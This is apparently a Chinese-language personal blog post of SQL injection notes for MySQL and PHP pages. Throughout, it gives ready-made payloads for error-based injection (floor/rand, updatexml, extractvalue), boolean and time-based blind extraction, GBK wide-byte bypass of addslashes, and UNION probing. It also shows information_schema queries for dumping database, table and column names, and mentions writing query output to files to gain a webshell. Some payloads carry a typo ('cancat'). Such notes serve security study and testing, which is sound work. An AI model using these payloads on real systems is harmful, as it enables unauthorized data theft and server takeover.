something about SQL-Injection skills
SQL 注入分类
报错注入
报错方法
Duplicate entry
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15and
(
select 1 -- 检索y的值(1)
from (
select count(*)
,concat( -- 利用 concat函数拼接内容,起别名为x
0x23 -- 拼接#符号,分隔信息
,($PAYLOAD) -- payload
,0x23
,floor(rand(0)*2) -- floor函数与count(*),group by,结合使用来报错
) as x
from information_schema.tables
group by x -- floor产生的0/1序列,group by 时会报错(重复主键)
) as y
)公式
and+(+select+1+from+(+select+count(*)+,concat(0x23,($PAYLOAD),0x23,floor(rand(0)*2))as+x+from+information_schema.tables+group+by+x+)as+y+)+--+
updatexml报错
1
2
3
4
5and
updatexml(1
,concat($PAYLOAD -- ~(0x7e)是非法字符,一定会报错
,0x7e)
,1)公式,
and+(updatexml(1,cancat(database(),0x7e),1))+--+
。updatexml(XML_document, XPath_string, new_value)
,当XPath_string
格式出现错误时,mysql会报语法错误。extractvalue报错
1
2
3
4
5and
extractvalue(1,
concat($PAYLOAD
,0x7e)
)公式
and+(extractvalue(1,cancat($PAYLOAD,0x7e)))+--+
。extractvalue(XML_document, XPath_string)
,与updatexml()
函数相同,当XPath_string
格式出现错误时,mysql会报语法错误。
盲注
基于布尔
使用
?id=1'+and+false+--+
与?id=1'+or+true+--+
确认是否存在注入点。
可是,确认存在注入点又能做到什么呢?由于 检索成功 与 检索失败 两种情况天然为布尔型,因此可以据此进行大量请求,通过一系列的判断 获得数据库情况。
例如可以通过大量类似于
?id=1'+and+(ascii(substr(database(),1,1))=ascii('a'))+--+
?id=1'+and+(ascii(substr(database(),2,1))=ascii('b'))+--+
…
?id=1'+and+(ascii(substr(database(),1,1))>ascii('m'))+--+
?id=1'+and+(ascii(substr(database(),1,1))<ascii('g'))+--+
…
?id=1'+and+(length(database())+<+20)+--+
?id=1'+and+(length(database())+>+10)+--+
…
?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1))+<+20)+--+
?id=1'+and+(length((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1))+<+20)+--+
…
id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))+<+ascii('m'))+--+
id=1'+and+(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),1,1))+<+ascii('m'))+--+
的猜测,得到数据库的名字,长度,数据表的长度等。基于时间
使用
?id=1'+or+true+--+
与?id=1'+and+sleep(5)+--+
确认是否存在注入点。
与基于布尔类似, 页面响应延迟 与 页面响应正常 两种情况,天然为布尔型, 因此可以据此进行大量请求,通过一系列的判断获得数据库情况。使用例如下:
?id=1'+and+(ascii(substr(database(),1,1))<ascii('m'))+and+sleep(5)+--+
?id=1'+and+(ascii(substr(database(),2,1))>ascii('m'))+and+sleep(5)+--+
利用了短路与的特性,
当and(ascii(...))
为 真 时,会执行and sleep(...)
,页面延迟响应,
当and(ascii(...))
为 假 时,and sleep(...)
语句被短路,页面无延迟响应,即正常响应。
宽字节注入
当数据库使用的编码为类似GBK
等双字节编码时,会导致在解析SQL语句
的每个字符时以每两个字节来获取。
而在对SQL注入
进行防范时,php
经常会使用addslashes()
对字符串中的特殊字符前增加\
转义符。
例如注入后的参数,在URL
中为URLencode
后的值(hello%27or+true%23
),传递到后台时为hello'or true#
。
后台的处理为:
1 | $sql = "select a from tb where a='addslashes($param)';"; |
我们预想的结果为闭合hello
,令a
与hello
进行比较。
1 | select a from tb where a='hello'or true#'; |
其实结果为a
与hello\'or true#
,并未能够实现绕过。
1 | select a from tb where a='hello\'or true#'; |
为了绕过addslashes()
的转义,因此在向后台传递注入时,增加处理手段。在单引号'
前增加一个字节,%df
。
URL
中参数为%68%65%6c%6c%6f%df%27
(此为全encode样子),传递到后台后为hello%df'
(关注%df%27
)。调用addslashes()
函数后会在'
前增加一个\
,结果为
hello%df\'
(关注%df%5c%27
)。因此在数据库在解码时,由于我们人为的添加了一个字节,导致解码时会有一个错位。所以%df%5c
会在一起解码成为一个汉字。
真实结果为a
与hello我
,最终还是闭合成功,成功注入。
1 | -- 假装`%df%5c`是汉字`我` |
SQL注入技巧
注入
注释
注入注释时,可选择
--
或#
,其后最好紧跟一个空格,可以用%20
或+
来表示空格。
可以使用%23
来表示#
。闭合
可以使用
and sleep(5)
判断闭合方式?id=1'+and+sleep(5)
闭合成功时,页面响应延迟。
页面正常响应时,说明闭合失败,需要更换闭合方式。尝试闭合
'
(单引号)id=’$id’
尝试闭合
"
(双引号)‘id=’ . ‘“‘ . $id . ‘“‘ . ‘…’
尝试闭合
()
(括号)id=($id)
尝试闭合
('')
(单引号与括号)id=(‘$id’)
尝试闭合
("")
(双引号与括号)id=(“$id”)
注入步骤
确认注入点
确认是否存在注入点。
确认注入点类型
本身就将检索结果渲染在页面上时,可以方便的将敏感信息输出至页面。
报错型
注入,会在页面输出报错信息,可以将敏感信息在报错信息中显示出来。确认查询子列数
确认sql查询了几列,页面上显示的是哪几列,确认后可以将敏感信息放置在对应的列中显示在 页面上。
例如:原sql
select username,password,birthday from ...where id='$id'
。可以注入select username,password,birthday from ...where id='1' and false union select 1,2,3 # '
, 以确认页面上显示的是哪几列。根据上面确认的显示列,可以注入获得关心的信息。
select username,password,birthday from ...where id='1' and false union select version(),database(),3 # '
, 这样就可以将关心的敏感信息显示在页面上。
获取信息
究竟
SQL注入
,是做什么的呢?它危险,究竟危险在什么地方呢?
SQL注入
的过程,是利用来源于用户的参数填充到SQL语句中,从而恶意使得SQL的 语句结构 发生变化,从而获得信息的过程。
最典型的select...from...where password='$password'
,用户恶意提供1'or true #
, 从而最终语句为select...from...where password='1'or true # '
。这样的话就能够在不知道 密码的情况下登录成功,这不是很危险?既然可以像以上一样,改变SQL语句结构,为什么不能更恶意一些,构造一些语句,获取我们关心的 信息呢?
比如select...from...where id='1' and false union select 1, version(), database() # '
, 不就可以获得敏感信息了吗?那么可不可以更恶意一些呢?
当服务器的数据库设置不当时,我们可以将查询输出至文件。 正常使用当然是输出查询到的记录,可是当我们输出恶意文件
时,不就可以获取webshell
了吗?因此
or 1=1
并不是我们的最终目的,最终目的是 信息 或者 控制权 。获取数据库名
select+group_concat(schema_name)+from+information_schema.schemata
获取数据表名
select+group_concat(table_name)+from+information_schema.tables+where table_schema='dbName'
获取列名
select+group_concat(column_name)+from+information_schema.columns+where table_name='tableName'
库 表 字段 说明 information_schema schemata schema_name 数据库名 information_schema tables table_schema 数据库名 information_schema tables table_name 数据表名 information_schema columns table_name 数据表名 information_schema columns column_name 字段名
常见URLencode字符
char | URLencode |
---|---|
空格 | %20 |
# | %23 |
‘ | %27 |
= | %3d |
something about SQL-Injection skills
https://cyhfvg.github.io/something-about-SQL-Injection-skills/